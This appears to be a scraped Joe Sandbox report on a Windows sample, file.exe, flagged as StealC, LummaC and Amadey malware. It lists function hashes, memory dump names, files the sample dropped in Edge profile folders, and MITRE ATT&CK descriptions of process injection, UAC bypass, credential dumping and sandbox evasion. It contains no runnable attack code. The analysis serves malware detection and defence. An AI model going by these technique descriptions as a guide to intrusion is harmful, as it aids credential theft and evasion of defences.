Instruction Fuzzy Hash: EBF09670B043259BE700AF75C5C4A5AFBA4EF89314F20C46DD8898B342D73AD944CB92

Function 61E0AE03 Relevance: 1.3, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 61E0AE3D

Memory Dump Source

Source File: 00000009.00000002.3293679172.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3293582704.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3296445975.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3299212833.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3300111960.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3305287294.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_e051bdf457.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction ID: a929929d55870eb2e3dfc3d9b08de53e37bb6c9da6c43a06ed963554b33c57a4
Opcode Fuzzy Hash: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction Fuzzy Hash: A5F090B1554708CFDB006FA8E8C52153BA4F746219F5840BAE8150B201D735D5E1CB91

Function 61E2A6AF Relevance: 1.3, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 61E2A6BF

Memory Dump Source

Source File: 00000009.00000002.3293679172.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3293582704.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3296445975.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3299212833.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3300111960.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3305287294.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_e051bdf457.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction ID: 08a60fc229ca929b4850671bf03eed3452f9cad2ea52f9bb94d0a5c68b8f0e05
Opcode Fuzzy Hash: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction Fuzzy Hash: 68F039B0C4830A9FCB009FA5DAC5A0DBBE8EB84258F14C46DE8988F710D334E580CB51

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DHDHJJJE

C:\ProgramData\JJKFBAKFBGDHIEBGDAKF

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\431cade1-70ed-4f4c-91c3-f5ae48e47e2e.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4b6ddf2f-8f34-43db-a679-cc2d8a3e15cc.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\81b8a331-00a8-48bd-9b01-8eac8cc58fe1.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre